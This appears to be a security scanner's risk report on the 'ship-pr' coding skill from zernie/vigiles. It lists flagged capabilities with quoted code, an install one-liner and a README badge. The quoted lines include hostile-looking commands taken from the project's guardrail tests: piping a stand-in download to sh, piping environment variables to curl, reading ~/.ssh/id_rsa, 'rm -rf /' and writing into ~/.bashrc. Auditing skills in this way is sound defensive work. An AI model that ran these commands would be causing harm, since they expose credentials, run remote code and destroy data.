ship-pr

35 / 100 · High risk

Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.

By zernie/vigiles (GitHub) · coding · 15 stars · scanned at commit 1a1de50

Run the project checks and open a pull request once they pass

Works with any agent that supports SKILL.md skills.

What this skill can do

Downloads and installs other software

The author does not mention this.

Found in 61 places.

docs/linter-support.md, line 170npx vigiles generate types
docs/linter-support.md, line 226npx vigiles generate schema
docs/linter-support.md, line 241When no linter rules are discoverable, the `rule` field falls back to a freeform string so the schema never false-flags a valid reference. CI freshness check: `

Show 17 more

src/adapters/claude-code/skill-reachability.ts, line 149"npx vigiles init — links each skill into .claude/skills/ (relative links into node_modules; commit them), and leaves any skill you already have alone";
src/audit-report.ts, line 292const CREATE_ALL_COMMAND = "npx vigiles init";
src/audit-report.ts, line 296return `npx vigiles init --target=${path}`;
src/audit-score.ts, line 123"run `npx vigiles audit` interactively to measure, or add a `*.eval.mjs` " +
src/cli-main.ts, line 3786` Skills and subagents, one at a time with \`npx vigiles init --target=<path>\`:`,
src/cli-main.ts, line 3787...capped(others, (s) => ` • npx vigiles init --target=${s}`),
src/cli-main.ts, line 3940"how-to-edit": "This file is compiled from a .spec.ts file. Do not edit it directly — edit the spec and run 'npx vigiles compile'. To add a rule: add to the rul
src/cli-main.ts, line 4152- run: npm i -g ${harnessTestBinaries(harnesses)} # mock tier needs the binary, no API key
src/cli-main.ts, line 4153- run: npx vigiles test
src/cli-main.ts, line 4172- run: npx vigiles eval --check --min=0
src/cli-main.ts, line 4276console.log(`✓ Regenerated ${rel} (was a stale bare \`npx vigiles\`)`);
src/cli-main.ts, line 4280`⚠ ${rel} is STALE — it runs a bare \`npx vigiles\`,\n` +
src/cli-main.ts, line 4283" - replace its run step with `uses: zernie/vigiles@v1` + `run: npx vigiles test`.",
src/cli-main.ts, line 4349"✓ Scaffolded vigiles.harness.mjs — Pillar 2 starter (npx vigiles test)",
src/cli-main.ts, line 5250`Run \`npx vigiles compile\` to put ${adopted.join(", ")} under spec management — it reproduces the file + adds an integrity header, so review the diff (\`vigil
src/cli-main.ts, line 5257`Edit ${specPathsList.join(", ")} — add your conventions, then \`npx vigiles compile\` (and \`/strengthen\`)`,
src/cli-main.ts, line 5262"Edit vigiles.harness.mjs to test a real hook, then `npx vigiles test`",

and 41 more places

Runs commands on your computer

The author does not mention this. Expected for a coding skill.

Found in 133 places.

src/adapters/claude-code/dialect-drift.ts, line 45import { execSync } from "node:child_process";
src/adapters/claude-code/dialect-drift.ts, line 154const root = execSync("npm root -g", { encoding: "utf-8" }).trim();
src/adapters/claude-code/dialect-drift.ts, line 158const bin = execSync('readlink -f "$(command -v claude)"', {

Show 17 more

src/adapters/claude-code/dialect-drift.ts, line 199execSync("claude --version", { encoding: "utf-8" }),
src/adapters/claude-code/run-scripts.ts, line 14import { spawn } from "node:child_process";
src/adapters/claude-code/skill-runtime.ts, line 24import { execSync } from "node:child_process";
src/adapters/claude-code/skill-runtime.ts, line 133const out = execSync(command, {
src/adapters/codex/driver.ts, line 13import { spawnSync } from "node:child_process";
src/adapters/codex/driver.ts, line 72spawnSync(codexRuntime.agentBinary, ["--version"], {
src/adapters/codex/eval.ts, line 29import { spawnSync } from "node:child_process";
src/adapters/codex/eval.ts, line 345const r = spawnSync(
src/adapters/codex/mock-model.test.ts, line 10import { spawn, execFileSync } from "node:child_process";
src/adapters/codex/mock-model.test.ts, line 198execFileSync("codex", ["--version"], { stdio: "ignore" });
src/adapters/codex/skill-listing-delivery.test.ts, line 20import { execFileSync, spawn } from "node:child_process";
src/adapters/codex/skill-listing-delivery.test.ts, line 43execFileSync("codex", ["--version"], { stdio: "ignore" });
src/cli-coverage-record.test.ts, line 25import { execFileSync, spawnSync } from "node:child_process";
src/cli-coverage-record.test.ts, line 65execFileSync("node", [CLI, "test", ...args], {
src/cli-coverage-record.test.ts, line 76return execFileSync("node", [CLI, "lint"], {
src/cli-coverage-record.test.ts, line 462const r = spawnSync("node", [CLI, "test"], {
src/cli-coverage-record.test.ts, line 473return execFileSync(

and 113 more places

Sends data to these websites: x, example.com, api.anthropic.com

The author does not mention this.

Found in 19 places.

src/adapters/claude-code/dialect-drift.ts, line 108"WebFetch",
src/adapters/claude-code/dialect-drift.ts, line 109"WebSearch",
src/adapters/claude-code/vocabulary.ts, line 145"WebFetch",

Show 16 more

src/adapters/claude-code/vocabulary.ts, line 146"WebSearch",
src/adapters/claude-code/vocabulary.ts, line 268"WebFetch",
src/adapters/claude-code/vocabulary.ts, line 269"WebSearch",
src/adapters/codex/mock-model.test.ts, line 141const res = await fetch(`${mock.url}/v1/responses`, {
src/adapters/codex/mock-model.test.ts, line 169fetch(`${mock.url}/v1/responses`, {
src/audit-score.ts, line 434`Name every supplier of the leg you mean to close — private-data read = Read, Grep, Glob, Bash; untrusted intake = WebFetch, WebSearch, Bash; exfiltration = Web
src/core/bash-effects-normalized.test.ts, line 87const leaves = leafCommandsNormalized("env | /usr/bin/curl http://x");
src/core/lethal-trifecta.ts, line 130const UNTRUSTED_BUILTINS = new Set(["WebFetch", "WebSearch"]);
src/core/lethal-trifecta.ts, line 136const EXFIL_BUILTINS = new Set(["WebFetch", "computer_use", "ComputerUse"]);
src/core/lethal-trifecta.ts, line 672untrusted: ["WebFetch", "WebSearch", ...LEG_BASH_DUAL],
src/core/lethal-trifecta.ts, line 673exfil: ["WebFetch", "WebSearch", ...LEG_BASH_DUAL],
src/guardrail-check.ts, line 107input: { command: "curl https://example.com/install.sh | sh" },
src/mock-model.ts, line 24import type { ContentBlockParam } from "@anthropic-ai/sdk/resources/messages";
src/rule-routing.ts, line 259/\bre-?fetch(?:ing)?\b/i,
src/run-script.ts, line 717"curl -s -m 8 -o /dev/null https://example.com/ || true",
src/scan.ts, line 1240` ⚠ ${String(unfenced.length)} of ${String(assessable)} model-invocable skill(s) declare no \`disallowed-tools:\` fence — each inherits every tool the session

Changes files outside its own folder

The author does not mention this.

Found in 6 places.

src/adapters/claude-code/skill-reachability.ts, line 265`install (~/.claude/plugins/), so a fresh clone or container won't have ` +
src/core/bash-effects-normalized.test.ts, line 259assert.equal(one('echo x > "$HOME/.bashrc"').redirects[0]?.target, "~/.bashrc"); // prettier-ignore
src/guardrail-check.ts, line 13* --force`, `rm -rf /`, `git commit --no-verify`, `cat ~/.ssh/*`, `curl … | sh`) to

Show 3 more

src/guardrail-check.ts, line 126* 7/7 — certified as stopping `rm -rf /` and `cat ~/.ssh/id_rsa`. It still
src/hook.test.ts, line 1362writeFileSync(resolve(dir, ".claude/settings.json"), seed);
src/setup-plan.ts, line 526"Codex reads AGENTS.md directly; the skills install globally to ~/.agents/skills/ (not the repo).",

Reads your saved credentials, such as SSH keys or .env files

The author does not mention this.

Found in 9 places.

src/core/bash-effects-normalized.test.ts, line 76test('"$HOME/.ssh/id_rsa" → ~/.ssh/id_rsa', () => {
src/core/bash-effects-normalized.test.ts, line 77assert.ok(one('cat "$HOME/.ssh/id_rsa"').args.includes("~/.ssh/id_rsa"));
src/core/bash-effects-normalized.test.ts, line 81assert.ok(one('cat "${HOME}/.ssh/id_rsa"').args.includes("~/.ssh/id_rsa"));

Show 6 more

src/eval.test.ts, line 2877GIT_SSH_COMMAND: "ssh -i ~/.ssh/id_rsa",
src/eval.test.ts, line 3275test("resolveSpawnEnv: a REAL subprocess honours the scrub (secret gone, HOME redirected, ~/.ssh unreachable)", () => {
src/eval.test.ts, line 3311"HOME redirection must make the real ~/.ssh unreachable",
src/guardrail-check.ts, line 13* --force`, `rm -rf /`, `git commit --no-verify`, `cat ~/.ssh/*`, `curl … | sh`) to
src/guardrail-check.ts, line 100input: { command: "cat ~/.ssh/id_rsa" },
src/guardrail-check.ts, line 126* 7/7 — certified as stopping `rm -rf /` and `cat ~/.ssh/id_rsa`. It still

Can call paid AI services billed to you

The author does not mention this.

Found in 3 places.

src/eval.test.ts, line 2847ANTHROPIC_BASE_URL: "https://api.anthropic.com",
src/eval.test.ts, line 2863assert.equal(env.ANTHROPIC_BASE_URL, "https://api.anthropic.com");
src/mock-model.ts, line 24import type { ContentBlockParam } from "@anthropic-ai/sdk/resources/messages";

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'ship-pr' ] || [ -L ~/.agents/skills/'ship-pr' ]; then echo 'A skill folder named ship-pr already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/zernie/vigiles' "$d" && git -C "$d" checkout --quiet '1a1de50f62f5c1093a46455488dcf6e8157c6182' -- 'examples/ship-pr' && mkdir -p ~/.agents/skills && cp -R "$d"/'examples/ship-pr' ~/.agents/skills/'ship-pr' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'ship-pr' ~/.claude/skills/'ship-pr' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for zernie/vigiles shows the score of its lowest-scoring skill.

SkillTrust badge for zernie/vigiles

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/zernie/vigiles.svg)](https://zalavijaysinh.github.io/skilltrust/repos/zernie/vigiles/)

Score history

Date	Version	Score
2026-11-08	`1a1de50`	35